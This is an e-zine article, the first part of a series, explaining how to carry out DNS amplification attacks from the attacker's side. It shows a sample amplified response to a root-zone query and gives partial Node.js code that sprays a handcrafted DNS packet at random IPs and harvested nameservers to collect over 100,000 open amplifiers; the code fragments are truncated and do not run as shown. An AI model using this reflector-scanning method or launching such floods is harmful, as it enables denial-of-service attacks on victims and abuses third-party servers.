Practical DNS-Amplification, part 0

Good old DNS-Amplification. Those familiar with the subject could skip a paragraph or even doesn't read this at all.

Attack principle is pretty simple. Every nameserver responds to anything. If there's an IP address present into packet header, NS responds to that IP.

The sense of amplification is to achieve request packet size closer to respondse packet size. Most overused method is to query domain "." DNS responds with massive packet containing several root DNS records. It looks like this:

length 540 [udp sum ok] 3- q: AAAA? . 0/13/14 
     . NS, 
     . NS, 
     . NS, 
     . NS, 
     . NS, 
     . NS, 
     . NS, 
     . NS, 
     . NS, 
     . NS, 
     . NS, 
     . NS, 
     . NS 
 ar: A, AAAA 2001:503:ba3e::2:30, A, A, A, AAAA 2001:500:2d::d, A, A, AAAA 2001:500:2f::f, A, A, AAAA 2001:500:1::803f:235, A, AAAA 2001:7fe::53 


As we could see, response extends 500 bytes. That's very much, considering the request was only 17 bytes (not counting IP/UDP headers). Normally, attacking requires servers with largest response packets. There are not so many DNS's good enough, as the attack is old as the world can be, and there's many solutions to prevent this vulnerability from being exploited. That's covered in article's final part.

Looking for vulnerable servers.

Attacker would need a server with enough bandwidth and hosting company being loyal to good outgoing UDP flow. It's better to scan with fast code, written in native languages. I used NodeJS as resolving lags overlaps time consumed to run the code. If theresn't enough performance, node could be executed as a cluster with over 9000 children. The idea is simple - send the packets and watch the responses. Packets could be sent to random host:

var ip = [rand(255), rand(255), rand(255), rand(255)].join('.')

as well as choosing target hosts more precisely. To speed up the scanning it is advised to get nameservers list, as large as possible. One would need a big (over 1-2 mln) list of any domains. As domain is taken from the list, DNS record is requested for that domain. Response would contain list of DNS's providing name resolution for that domain. These DNS's added to testing list.

var dns = require('dns');
dns.resolveNs('', function (err, addresses) {
 if (!err){
  addresses.forEach(function (a) {

Now the fun part - send DNS packet:

var ns_packet = new Buffer([
    //---- стандартный заголовок -----
    0x00, 0x03, // Айди запроса 
    0x01, 0x00, // Флаги
    0x00, 0x01, // Число запросов : 1
    0x00, 0x00, // Число ответов : 0 
    0x00, 0x00, // Число авторизованных записей
    0x00, 0x00, // Число дополнительных записей
    //---- тело запроса -----
    // запись АААА для "."
    0x00, 0x00,
    0x1C, 0x00, 


var client = dgram.createSocket('udp4');
function sendPacket(ip){
 client.send(ns_packet, 0, ns_packet.length, 53, ip, function(err, bytes) {
  console.log('sent %d bytes', bytes);
client.on('error', function(msg, rinfo){
 console.log('client error');
client.on('message', function(msg, rinfo){
 if(msg.length > 0){
  console.log("%d bytes from %s:%d", 
   msg.length, rinfo.address, rinfo.port);

Thus, we managed to collect more than 100k servers, which answer with packages in 1/2 kb, in just a few hours.

Part 1 >>>


Inception E-Zine